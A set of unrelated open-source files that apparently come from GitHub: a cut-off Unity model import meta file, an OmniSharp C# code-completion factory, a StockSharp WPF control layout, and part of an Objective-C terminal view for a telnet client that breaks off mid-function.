FP310:DirtQuad 4300104: FP310:BaseBallBat4 4300106: FP310:Box1Lid 4300108: FP310:Box1 4300110: FP310:Cube.1625 4300112: FP310:Pencil3 4300114: FP310:Pen1 4300116: FP310:Cloth2C 4300118: FP310:AlarmClock1C 4300120: FP310:Cube.1634 4300122: FP310:PS_310_Shelf_1 4300124: FP310:PS_310_Shelf_3 4300126: FP310:PS_310_Shelf_2 4300128: FP310:PS_310_Shelf_4 4300130: FP310:PS_310_Shelf_5 externalObjects: - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: 2 CreditCards second: {fileID: 2100000, guid: 80b6f990ce852476686352e1570943f7, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: AlarmClock1_DefaultMaterial_AlbedoTransparency 2 second: {fileID: 2100000, guid: cfd4ec11f85e3459e8badb5ad650cc54, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Beams second: {fileID: 2100000, guid: 9c1251e682d9cd849afc674ab7d0389c, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: BlackFabirc second: {fileID: 2100000, guid: 180501aab42b34ec99d9d0dd2091bf60, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: BlackPlastic second: {fileID: 2100000, guid: dd76dc95ca36a5e43a7ba26b7f66b0ad, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: BookOPEN second: {fileID: 2100000, guid: cd6c5b27f5d40489d8e0201c04c9a38b, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Brass second: {fileID: 2100000, guid: 9d4fe46b39db1419e8e2e5ecb4a3c483, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: BrushedIron_AlbedoTransparency second: {fileID: 2100000, guid: 2199aa55ab2d11a43b1b6a7bec307647, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Carpet1 second: {fileID: 2100000, guid: 5ceb258564c9de94e8ad437847bbbbda, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Carpet2 second: {fileID: 2100000, guid: 86916aba535ed47eba917b92379909d9, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Carpet3 second: {fileID: 2100000, guid: 876abe90653e546209a7f2a3cc654bc8, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Carpet7 second: {fileID: 2100000, guid: 00d572aad48114fd5915bf879e18e069, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Carpet8TILED second: {fileID: 2100000, guid: 84ebc37be38a5437ca370bd7ec3b92c3, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: CarpetWhite second: {fileID: 2100000, guid: 5de9616a9d7052845bf70aac7334b0d3, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Cellphone3_Material_AlbedoTransparency second: {fileID: 2100000, guid: 429a3bb22b1fa4aa6bcb549eb37b460e, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Cloth2Var3 second: {fileID: 2100000, guid: 5693a3b93fe1945b88d9a71a8977e704, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Copper_AlbedoTransparency second: {fileID: 2100000, guid: f8daaeec6c3dece408272735c89e3611, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Cream_wood second: {fileID: 2100000, guid: 83f72cffa1bdb4ce69103c5aeadda700, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: DarkWoodSmooth second: {fileID: 2100000, guid: 8ec08c8746be4457084eb57a9bb1b7d0, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: DarkWoodSmooth2 second: {fileID: 2100000, guid: 725b6db5d4eaa4fcf97bf4e3ea5ccac9, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Drywall3 second: {fileID: 2100000, guid: ae28af9da46217e43bf9241822ad4d83, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: FittedSheet1AO second: {fileID: 2100000, guid: c9d0d6427ddf74ebc84d32539593abb0, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: GlassDetailedLIT second: {fileID: 2100000, guid: 384dec9e80e9f46b799e343501703ad4, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: GreenPlastic second: {fileID: 2100000, guid: 6cab10a7c3d4c421eba59062047ff61a, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Grunge_Quad second: {fileID: 2100000, guid: 42b80dcdc12f14de792d4f99311c2d6d, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: HammeredMetal_AlbedoTransparency second: {fileID: 2100000, guid: be9d13bb687dd684b816ed574384806e, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: HammeredMetal_Dark second: {fileID: 2100000, guid: 3b351ee4637364d17b192cefdff1f6ad, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: KitchenLight second: {fileID: 2100000, guid: f7f331360352445aeaee74a66f795ed7, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Light2 second: {fileID: 2100000, guid: 8164c947d749c65459d84d52934a0845, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: LightWoodCounters3 second: {fileID: 2100000, guid: 7db7a2f718cc149a2b67d2c7e99ee0f2, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: MessyBlanke309AO 1 second: {fileID: 2100000, guid: ebc7cbc673f8e4b78b710ce7152fd7ae, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Metal_chrome_mat second: {fileID: 2100000, guid: f3e4bebc76c82ab47be48b02cfa25494, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Mirror second: {fileID: 2100000, guid: e0cdaa47a74d943b18b2851097a0c8b5, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: PVC Blinds second: {fileID: 2100000, guid: 0abe4a02834de433a86bb9675c512163, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: PVCLit second: {fileID: 2100000, guid: d5c63cd7b09ca49089accd4484abd6a1, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: PensPencils_DefaultMaterial_AlbedoTransparency second: {fileID: 2100000, guid: bd0a8023671b2449199a832195006422, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: PlasticBag2 second: {fileID: 2100000, guid: 0a6ecf15d8180441983fb45bde20eeb5, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: PureBlack_Wood second: {fileID: 2100000, guid: 7c9a8c7fa546eff4eb1f6788a315f780, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: SilverPlasticMat second: {fileID: 2100000, guid: 4c4ce6cec934648afaf9708a2bfdef1d, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Space_Tourists_movie_poster second: {fileID: 2100000, guid: 93ff984ee9cef42aeac7b929c039bba8, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: TVScreenMat second: {fileID: 2100000, guid: 38cb36fc4a56345b7854f63b7dac83f6, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: UnderBlanke309AO 1 second: {fileID: 2100000, guid: b39061bbca82246089ca5f3b5e615a57, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: WhitePlastic second: {fileID: 2100000, guid: a0669355953e9114e915f2889e691e81, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: bedPillowAO 1 second: {fileID: 2100000, guid: bd7688cd2086d49d7898de065c9a5efb, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: bedPillowAO 3 second: {fileID: 2100000, guid: 50ba39bd5e0a246e6ab5291436be2572, type: 2} materials: importMaterials: 0 materialName: 1 materialSearch: 2 materialLocation: 0 animations: legacyGenerateAnimations: 4 bakeSimulation: 0 resampleCurves: 1 optimizeGameObjects: 0 motionNodeName: rigImportErrors: rigImportWarnings: animationImportErrors: animationImportWarnings: animationRetargetingWarnings: animationDoRetargetingWarnings: 0 importAnimatedCustomProperties: 0 importConstraints: 0 animationCompression: 1 animationRotationError: 0.5 animationPositionError: 0.5 animationScaleError: 0.5 animationWrapMode: 0 extraExposedTransformPaths: [] extraUserProperties: [] clipAnimations: [] isReadable: 1 meshes: lODScreenPercentages: [] globalScale: 1 meshCompression: 0 addColliders: 0 useSRGBMaterialColor: 1 importVisibility: 1 importBlendShapes: 1 importCameras: 1 importLights: 1 swapUVChannels: 0 generateSecondaryUV: 1 useFileUnits: 1 optimizeMeshForGPU: 1 keepQuads: 0 weldVertices: 1 preserveHierarchy: 0 indexFormat: 0 secondaryUVAngleDistortion: 8 secondaryUVAreaDistortion: 15.000001 secondaryUVHardAngle: 88 secondaryUVPackMargin: 4 useFileScale: 1 previousCalculatedGlobalScale: 1 hasPreviousCalculatedGlobalScale: 0 tangentSpace: normalSmoothAngle: 60 normalImportMode: 0 tangentImportMode: 3 normalCalculationMode: 4 legacyComputeAllNormalsFromSmoothingGroupsWhenMeshHasBlendShapes: 0 blendShapeNormalImportMode: 1 normalSmoothingSource: 0 importAnimation: 0 copyAvatar: 0 humanDescription: serializedVersion: 2 human: [] skeleton: [] armTwist: 0.5 foreArmTwist: 0.5 upperLegTwist: 0.5 legTwist: 0.5 armStretch: 0.05 legStretch: 0.05 feetSpacing: 0 rootMotionBoneName: hasTranslationDoF: 0 hasExtraRoot: 0 skeletonHasParents: 1 lastHumanDescriptionAvatarSource: {instanceID: 0} animationType: 0 humanoidOversampling: 1 additionalBone: 0 userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using ICSharpCode.NRefactory.CSharp; using ICSharpCode.NRefactory.CSharp.Completion; using ICSharpCode.NRefactory.Completion; using ICSharpCode.NRefactory.TypeSystem; using ICSharpCode.NRefactory.TypeSystem.Implementation; using OmniSharp.Documentation; using OmniSharp.Solution; using OmniSharp.Configuration; namespace OmniSharp.AutoComplete { public class CompletionDataFactory : ICompletionDataFactory { private readonly string _partialWord; private readonly bool _instantiating; private readonly CSharpAmbience _ambience = new CSharpAmbience { ConversionFlags = AmbienceFlags }; private readonly CSharpAmbience _signatureAmbience = new CSharpAmbience { ConversionFlags = AmbienceFlags | ConversionFlags.ShowReturnType | ConversionFlags.ShowBody }; private readonly ReturnTypeAmbience _returnTypeAmbience = new ReturnTypeAmbience(); private const ConversionFlags AmbienceFlags = ConversionFlags.ShowParameterList | ConversionFlags.ShowParameterNames; private string _completionText; private string _signature; private readonly bool _wantDocumentation; private readonly IProject _project; private bool _wantMethodHeader; private bool _wantSnippet; private bool _wantReturnType; private readonly OmniSharpConfiguration _config; public CompletionDataFactory(IProject project, string partialWord, bool instantiating, AutoCompleteRequest request, OmniSharpConfiguration config) { _project = project; _partialWord = partialWord; _instantiating = instantiating; _wantDocumentation = request.WantDocumentationForEveryCompletionResult; _wantMethodHeader = request.WantMethodHeader; _wantSnippet = request.WantSnippet; _wantReturnType = request.WantReturnType; _config = config; } public ICompletionData CreateImportCompletionData(IType type, bool useFullName, bool addForTypeCreation) { var result = CreateTypeCompletionData(type, useFullName, false, addForTypeCreation); Action<ICompletionData, int> setAsImport = null; setAsImport = (ICompletionData icompleteData, int depth) => { if (depth > 5) return; icompleteData.DisplayFlags |= DisplayFlags.IsImportCompletion; icompleteData.DisplayText += " [Using " + type.Namespace + "]"; icompleteData.Description = "Using " + type.Namespace + "\n" + icompleteData.Description; var completeData = icompleteData as CompletionData; if (completeData != null) { completeData.RequiredNamespaceImport = type.Namespace; } foreach (var overload in icompleteData.OverloadedData.Where(i => i != icompleteData)) { setAsImport(overload, depth + 1); } }; setAsImport(result, 0); return result; } public ICompletionData CreateFormatItemCompletionData(string format, string description, object example) { throw new NotImplementedException(); } public ICompletionData CreateXmlDocCompletionData(string tag, string description = null, string tagInsertionText = null) { throw new NotImplementedException(); } public ICompletionData CreateEntityCompletionData(IEntity entity) { _completionText = _signature = entity.Name; _completionText = _ambience.ConvertSymbol(entity).TrimEnd(';'); if (!_completionText.IsValidCompletionFor(_partialWord)) return new CompletionData("~~"); if (entity is IMethod) { var method = entity as IMethod; GenerateMethodSignature(method); } if (entity is IField || entity is IProperty) { _signature = _signatureAmbience.ConvertSymbol(entity).TrimEnd(';'); } CompletionData completionData = CompletionData(entity) as CompletionData; if (entity is IMethod) { AddMethodHeader(completionData, entity as IMethod); } if (entity is IField || entity is IProperty) { if (_wantReturnType) { completionData.ReturnType = _returnTypeAmbience.ConvertSymbol(entity); } if (_wantSnippet) { completionData.Snippet = new SnippetGenerator(true).Generate(entity); } } Debug.Assert(completionData != null); return completionData; } private void AddMethodHeader(CompletionData completionData, IMethod method) { var methodDefinition = method.MemberDefinition; if (_wantMethodHeader) { var snippetGenerator = new SnippetGenerator(false); completionData.MethodHeader = snippetGenerator.Generate(methodDefinition); } if (_wantSnippet) { var snippetGenerator = new SnippetGenerator(true); completionData.Snippet = snippetGenerator.Generate(methodDefinition); } if (_wantReturnType) { completionData.ReturnType = _returnTypeAmbience.ConvertSymbol(method); } } private ICompletionData CompletionData(IEntity entity) { ICompletionData completionData; if (entity.Documentation != null) { completionData = new CompletionData(_signature, _completionText, _signature + _config.TextEditorOptions.EolMarker + DocumentationConverter.ConvertDocumentation(entity.Documentation, _config)); } else { var ambience = new CSharpAmbience { ConversionFlags = ConversionFlags.ShowParameterList | ConversionFlags.ShowParameterNames | ConversionFlags.ShowReturnType | ConversionFlags.ShowBody | ConversionFlags.ShowTypeParameterList }; var documentationSignature = ambience.ConvertSymbol(entity); if (_wantDocumentation) { string documentation = new DocumentationFetcher().GetDocumentation(_project, entity, _config); var documentationAndSignature = documentationSignature + _config.TextEditorOptions.EolMarker + documentation; completionData = new CompletionData(_signature, _completionText, documentationAndSignature); } else { completionData = new CompletionData(_signature, _completionText, documentationSignature); } } return completionData; } private IEnumerable<string> GetMethodParameterTypeNames(IMethod method) { foreach (var parameter in method.Parameters) { //TODO: this logic is far from complete. At the very least it needs some recursion if (parameter.Type is ArrayType) { yield return (parameter.Type as ArrayType).ElementType.Name; } else if (parameter.Type is DefaultTypeParameter) { yield return (parameter.Type as DefaultTypeParameter).Name; } else if (parameter.Type is ParameterizedType) { foreach (var typeArgument in (parameter.Type as ParameterizedType).TypeArguments) { yield return typeArgument.Name; } } else if (parameter.Type is UnknownType) { yield return (parameter.Type as UnknownType).Name; } } } private bool MethodTypeParametersCanBeInferred(IMethod method) { if (method.IsExtensionMethod && method.Parameters.Count == 0) { // 'this' extension parameter is intentionally hidden by NRefactory // using ReducedExtensionMethod, so we can't check it return true; } var parameterTypes = GetMethodParameterTypeNames(method); var methodTypeParameters = method.TypeParameters.Select(p => p.FullName).Distinct(); return !methodTypeParameters.Except(parameterTypes).Any(); } private void GenerateMethodSignature(IMethod method) { _signature = _signatureAmbience.ConvertSymbol(method).TrimEnd(';'); _completionText = _ambience.ConvertSymbol(method); _completionText = _completionText.Remove(_completionText.IndexOf('(')); var parameterTypesCanBeInferred = MethodTypeParametersCanBeInferred(method); if ((method.TypeParameters.Count > 0 && method.TypeParameters[0].Name != "TSource") && !parameterTypesCanBeInferred) { _completionText += "<"; } else { _completionText += "("; if (method.Parameters.Count == 0) { _completionText += ")"; } } } private void GenerateGenericMethodSignature(ISymbol method) { _signature = _signatureAmbience.ConvertSymbol(method).TrimEnd(';'); _completionText = _signatureAmbience.ConvertSymbol(method); _completionText = _completionText.Remove(_completionText.IndexOf('(')) + "<"; } public ICompletionData CreateEntityCompletionData(IEntity entity, string text) { return new CompletionData(text); } public ICompletionData CreateTypeCompletionData(IType type, bool showFullName, bool isInAttributeContext, bool addForTypeCreation) { if (!type.Name.IsValidCompletionFor(_partialWord)) { return new CompletionData("~~"); } CompletionData completion; if (addForTypeCreation || _instantiating) { completion = new CompletionData(type.Name); foreach (var constructor in type.GetConstructors()) { if (type.TypeParameterCount > 0) { GenerateGenericMethodSignature(constructor); ICompletionData completionData = CompletionData(constructor); AddMethodHeader(completionData as CompletionData, constructor); completion.AddOverload(completionData); } else { var entityCompletionData = CreateEntityCompletionData(constructor); AddMethodHeader(entityCompletionData as CompletionData, constructor); completion.AddOverload(entityCompletionData); } AddMethodHeader(completion, constructor); } } else { var name = type.Name; if (type.TypeParameterCount > 0) { name += "<"; } completion = new CompletionData(name); completion.AddOverload(completion); } return completion; } public ICompletionData CreateMemberCompletionData(IType type, IEntity member) { return new CompletionData(type.Name); } public ICompletionData CreateLiteralCompletionData(string title, string description = null, string insertText = null) { return new CompletionData(title, description); } public ICompletionData CreateNamespaceCompletionData(INamespace name) { return new CompletionData(name.Name, name.FullName); } public ICompletionData CreateVariableCompletionData(IVariable variable) { var completionData = new CompletionData(variable.Name); if (_wantReturnType) { completionData.ReturnType = _returnTypeAmbience.ConvertSymbol(variable); } return completionData; } public ICompletionData CreateVariableCompletionData(ITypeParameter parameter) { return new CompletionData(parameter.Name); } public ICompletionData CreateEventCreationCompletionData(string varName, IType delegateType, IEvent evt, string parameterDefinition, IUnresolvedMember currentMember, IUnresolvedTypeDefinition currentType) { return new CompletionData(varName); } public ICompletionData CreateNewOverrideCompletionData(int declarationBegin, IUnresolvedTypeDefinition type, IMember m) { return new CompletionData(m.Name); } public ICompletionData CreateNewPartialCompletionData(int declarationBegin, IUnresolvedTypeDefinition type, IUnresolvedMember m) { return new CompletionData(m.Name); } public IEnumerable<ICompletionData> CreateCodeTemplateCompletionData() { return Enumerable.Empty<ICompletionData>(); } public IEnumerable<ICompletionData> CreatePreProcessorDefinesCompletionData() { yield return new CompletionData("DEBUG"); yield return new CompletionData("TEST"); } public ICompletionData CreateImportCompletionData(IType type, bool useFullName) { return CreateImportCompletionData(type, useFullName, false); } } }
{ "pile_set_name": "Github" }
<UserControl x:Class="SampleConnection.MainPanel" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:loc="clr-namespace:StockSharp.Localization;assembly=StockSharp.Localization" xmlns:sx="http://schemas.stocksharp.com/xaml" Loaded="MainPanel_OnLoaded"> <Grid> <Grid.RowDefinitions> <RowDefinition Height="Auto" /> <RowDefinition Height="10" /> <RowDefinition Height="Auto" /> <RowDefinition Height="10" /> <RowDefinition /> </Grid.RowDefinitions> <WrapPanel Grid.Row="0"> <Button x:Name="SettingsBtn" Content="{x:Static loc:LocalizedStrings.Settings}" Click="SettingsClick" Width="100"/> <Button x:Name="ConnectBtn" Content="{x:Static loc:LocalizedStrings.Connect}" Click="ConnectClick" Width="100" Background="LightPink" /> <Button x:Name="ThemeSwitch" Content="{x:Static loc:LocalizedStrings.Themes}" Click="ThemeSwitchClick" Width="100"/> </WrapPanel> <WrapPanel Grid.Row="2"> <Button x:Name="ShowSecurities" Content="{x:Static loc:LocalizedStrings.Securities}" Click="ShowSecuritiesClick" Width="100"/> <Button x:Name="ShowPortfolios" Content="{x:Static loc:LocalizedStrings.Portfolios}" Click="ShowPortfoliosClick" Width="100"/> <Button x:Name="ShowTrades" Content="{x:Static loc:LocalizedStrings.Ticks}" Click="ShowTradesClick" Width="100"/> <Button x:Name="ShowOrderLog" Content="{x:Static loc:LocalizedStrings.OrderLog}" Click="ShowOrderLogClick" Width="100"/> <Button x:Name="ShowMyTrades" Content="{x:Static loc:LocalizedStrings.MyTrades}" Click="ShowMyTradesClick" Width="100"/> <Button x:Name="ShowOrders" Content="{x:Static loc:LocalizedStrings.Orders}" Click="ShowOrdersClick" Width="100"/> <Button x:Name="ShowNews" Content="{x:Static loc:LocalizedStrings.News}" Click="ShowNewsClick" Width="100"/> <Button x:Name="ShowLevel1" Content="{x:Static loc:LocalizedStrings.Level1}" Click="ShowLevel1Click" Width="100"/> </WrapPanel> <sx:Monitor x:Name="Monitor" Grid.Row="4" ShowStrategies="False"/> </Grid> </UserControl>
{ "pile_set_name": "Github" }
// // YLView.m // MacBlueTelnet // // Created by Yung-Luen Lan on 2006/6/9. // Copyright 2006 yllan.org. All rights reserved. // #import "WLTerminalView.h" #import "WLEffectView.h" #import "YLMarkedTextView.h" #import "WLTerminal.h" #import "WLConnection.h" #import "WLSite.h" #import "WLGLobalConfig.h" #import "WLContextualMenuManager.h" #import "WLPreviewController.h" #import "WLIntegerArray.h" #import "IPSeeker.h" #import "WLMouseBehaviorManager.h" #import "WLURLManager.h" #import "WLPopUpMessage.h" #import "WLAnsiColorOperationManager.h" #import "WLEncoder.h" #import <Crashlytics/Crashlytics.h> #import "WLNotifications.h" #import <Carbon/Carbon.h> #include <math.h> #define kLongScreenshotPanelNibFilename @"LongScreenshotPanel" @implementation Singleton @synthesize globalArray; +(Singleton *)singleton { static dispatch_once_t pred; static Singleton *shared = nil; dispatch_once(&pred, ^{ shared = [[Singleton alloc] init]; shared.globalArray = [[[NSMutableArray alloc]init] autorelease]; }); return shared; } - (void)dealloc { [globalArray release]; [super dealloc]; } @end @interface NSImage(saveAsJpegWithName) - (void) saveAsJpegWithName:(NSString*) fileName; @end @implementation NSImage(saveAsJpegWithName) - (void) saveAsJpegWithName:(NSString*) fileName { // Cache the reduced image NSData *imageData = [self TIFFRepresentation]; NSBitmapImageRep *imageRep = [NSBitmapImageRep imageRepWithData:imageData]; NSDictionary *imageProps = [NSDictionary dictionaryWithObject:[NSNumber numberWithFloat:0.7] forKey:NSImageCompressionFactor]; imageData = [imageRep representationUsingType:NSJPEGFileType properties:imageProps]; [imageData writeToFile:fileName atomically:NO]; } @end const float WLActivityCheckingTimeInteval = 5.0; NSString *const ANSIColorPBoardType = @"ANSIColorPBoardType"; BOOL changePageStatus = NO; BOOL isEnglishNumberAlphabet(unsigned char c) { return ('0' <= c && c <= '9') || ('A' <= c && c <= 'Z') || ('a' <= c && c <= 'z') || (c == '-') || (c == '_') || (c == '.'); } @interface WLTerminalView () - (void)drawSelection; // safe_paste - (void)confirmPaste:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo; - (void)confirmPasteWrap:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo; - (void)confirmPasteColor:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo; - (void)performPaste; - (void)performPasteWrap; - (void)performPasteColor; @end @implementation WLTerminalView @synthesize isInUrlMode = _isInUrlMode; @synthesize isMouseActive = _isMouseActive; @synthesize effectView = _effectView; @synthesize longScreenshotWindow = _longScreenshotWindow; - (id)initWithFrame:(NSRect)frame { if ((self = [super initWithFrame:frame])) { _selectionLength = 0; _selectionLocation = 0; _isInUrlMode = NO; _isKeying = NO; _isNotCancelingSelection = YES; _isMouseActive = YES; _mouseBehaviorDelegate = [[WLMouseBehaviorManager alloc] initWithView:self]; _urlManager = [[WLURLManager alloc] initWithView:self]; [_mouseBehaviorDelegate addHandler:_urlManager]; _activityCheckingTimer = [NSTimer scheduledTimerWithTimeInterval:WLActivityCheckingTimeInteval target:self selector:@selector(checkActivity:) userInfo:nil repeats:YES]; [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(refreshMouseHotspot) name:WLNotificationSiteDidChangeShouldEnableMouse object:nil]; [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(refreshDisplay) name:WLNotificationSiteDidChangeEncoding object:nil]; } return self; } - (void)dealloc { [_mouseBehaviorDelegate dealloc]; [super dealloc]; } #pragma mark - #pragma mark Conversion - (int)convertIndexFromPoint:(NSPoint)p { if (p.x >= _maxColumn * _fontWidth) p.x = _maxColumn * _fontWidth - 0.001; if (p.y >= _maxRow * _fontHeight) p.y = _maxRow * _fontHeight - 0.001; if (p.x < 0) p.x = 0; if (p.y < 0) p.y = 0; int cx, cy = 0; cx = (int) ((CGFloat) p.x / _fontWidth); cy = _maxRow - (int) ((CGFloat) p.y / _fontHeight) - 1; return cy * _maxColumn + cx; } - (NSRect)rectAtRow:(int)r column:(int)c height:(int)h width:(int)w { return NSMakeRect(c * _fontWidth, (_maxRow - h - r) * _fontHeight, _fontWidth * w, _fontHeight * h); } - (NSRect)selectedRect { if (_selectionLength == 0) return NSZeroRect; int startIndex = _selectionLocation; int endIndex = startIndex + _selectionLength; if (_selectionLength > 0) --endIndex; int row = startIndex / _maxColumn; int column = startIndex % _maxColumn; int endRow = endIndex / _maxColumn; int endColumn = endIndex % _maxColumn; if (endRow < row) { int temp = row; row = endRow; endRow = temp - 1; } if (endColumn < column) { int temp = column; column = endColumn; endColumn = temp - 1; } int height = (endRow - row) + 1; int width = (endColumn - column) + 1; return NSMakeRect(column, row, width, height); } - (NSPoint)mouseLocationInView { return [self convertPoint:[[self window] convertScreenToBase:[NSEvent mouseLocation]] fromView:nil]; } - (NSRange)rangeForWordAtPoint:(NSPoint)point { NSRange range; range.location = [self convertIndexFromPoint:point]; range.length = 0; int r = range.location / _maxColumn; int c = range.location % _maxColumn; cell *currRow = [[self frontMostTerminal] cellsOfRow:r]; [[self frontMostTerminal] updateDoubleByteStateForRow:r]; if (currRow[c].attr.f.doubleByte == 1) { // Double Byte // Chinese word range.length = 2; } else if (currRow[c].attr.f.doubleByte == 2) { range.location--; // Chinese word range.length = 2; } else if (isEnglishNumberAlphabet(currRow[c].byte)) { // Not Double Byte for (; c >= 0; c--) { if (isEnglishNumberAlphabet(currRow[c].byte) && currRow[c].attr.f.doubleByte == 0) range.location = r * _maxColumn + c; else break; } for (c = c + 1; c < _maxColumn; c++) { if (isEnglishNumberAlphabet(currRow[c].byte) && currRow[c].attr.f.doubleByte == 0) range.length++; else break; } } else { range.length = 1; } return range; } #pragma mark - #pragma mark safe_paste - (void)confirmPaste:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo { if (returnCode == NSAlertDefaultReturn) { [self performPaste]; } } - (void)confirmPasteWrap:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo { if (returnCode == NSAlertDefaultReturn) { [self performPasteWrap]; } } - (void)confirmPasteColor:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo { if (returnCode == NSAlertDefaultReturn) { [self performPasteColor]; } } - (NSMutableArray *)getCommentTooltipsArray { if(!_commentTooltipsSet) { _commentTooltipsSet = [[NSMutableArray alloc] init]; } return _commentTooltipsSet; } - (NSMutableArray *)getCommentHashTableArray { if(!_commentHashTable) { _commentHashTable = [[NSMutableArray alloc] init]; } return _commentHashTable; } - (void)performPaste { NSPasteboard *pb = [NSPasteboard generalPasteboard]; NSArray *types = [pb types]; if ([types containsObject:NSStringPboardType]) { NSString *str = [pb stringForType:NSStringPboardType]; //[self insertText:str withDelay:100]; [self insertText:str withDelay:0]; } } - (void)performPasteWrap { NSPasteboard *pb = [NSPasteboard generalPasteboard]; NSArray *types = [pb types]; if (![types containsObject:NSStringPboardType]) return; NSAutoreleasePool *pool = [NSAutoreleasePool new]; NSString *str = [pb stringForType:NSStringPboardType]; const int LINE_WIDTH = 66, LPADDING = 4; WLIntegerArray *word = [WLIntegerArray integerArray]; WLIntegerArray *text = [WLIntegerArray integerArray]; int word_width = 0, line_width = 0; [text push_back:0x000d]; for (int j = 0; j < LPADDING; j++) [text push_back:0x0020]; line_width = LPADDING; for (int i = 0; i < [str length]; i++) { unichar c = [str characterAtIndex:i]; if (c == 0x0020 || c == 0x0009) { // space for (int j = 0; j < [word size]; j++) [text push_back:[word at:j]]; [word clear]; line_width += word_width; word_width = 0; if (line_width >= LINE_WIDTH + LPADDING) { [text push_back:0x000d]; for (int j = 0; j < LPADDING; j++) [text push_back:0x0020]; line_width = LPADDING; } int repeat = (c == 0x0020) ? 1 : 4; for (int j = 0; j < repeat ; j++) [text push_back:0x0020]; line_width += repeat; } else if (c == 0x000a || c == 0x000d) { for (int j = 0; j < [word size]; j++) [text push_back:[word at:j]]; [word clear]; [text push_back:0x000d]; for (int j = 0; j < LPADDING; j++) [text push_back:0x0020]; line_width = LPADDING; word_width = 0; } else if (c > 0x0020 && c < 0x0100) { [word push_back:c]; word_width++; if (c >= 0x0080) word_width++; } else if (c >= 0x1000){ for (int j = 0; j < [word size]; j++) [text push_back:[word at:j]]; [word clear]; line_width += word_width; word_width = 0; if (line_width >= LINE_WIDTH + LPADDING) { [text push_back:0x000d]; for (int j = 0; j < LPADDING; j++) [text push_back:0x0020]; line_width = LPADDING; } [text push_back:c]; line_width += 2; } else { [word push_back:c]; } // the word is too long if (word_width > LINE_WIDTH) { int acc_width = 0; while (![word empty]) { int w = ([word front] < 0x0080) ? 1 : 2; if (acc_width + w <= LINE_WIDTH) { [text push_back:[word front]]; acc_width += w; [word pop_front]; } else { [text push_back:0x000d]; for (int j = 0; j < LPADDING; j++) [text push_back:0x0020]; line_width = LPADDING; word_width -= acc_width; break; } } } assert(word_width <= LINE_WIDTH); // the tailing word is too long if (line_width + word_width > LINE_WIDTH + LPADDING) { [text push_back:0x000d]; for (int j = 0; j < LPADDING; j++) [text push_back:0x0020]; line_width = LPADDING; } } while (![word empty]) { [text push_back:[word front]]; [word pop_front]; } unichar *carray = (unichar *)malloc(sizeof(unichar) * [text size]); for (int i = 0; i < [text size]; i++) carray[i] = [text at:i]; NSString *mStr = [NSString stringWithCharacters:carray length:[text size]]; free(carray); //[self insertText:mStr withDelay:100]; [self insertText:mStr withDelay:0]; [pool release]; } - (void)performPasteColor { NSPasteboard *pb = [NSPasteboard generalPasteboard]; NSArray *types = [pb types]; if ([types containsObject:ANSIColorPBoardType]) { NSData *ansiCode = 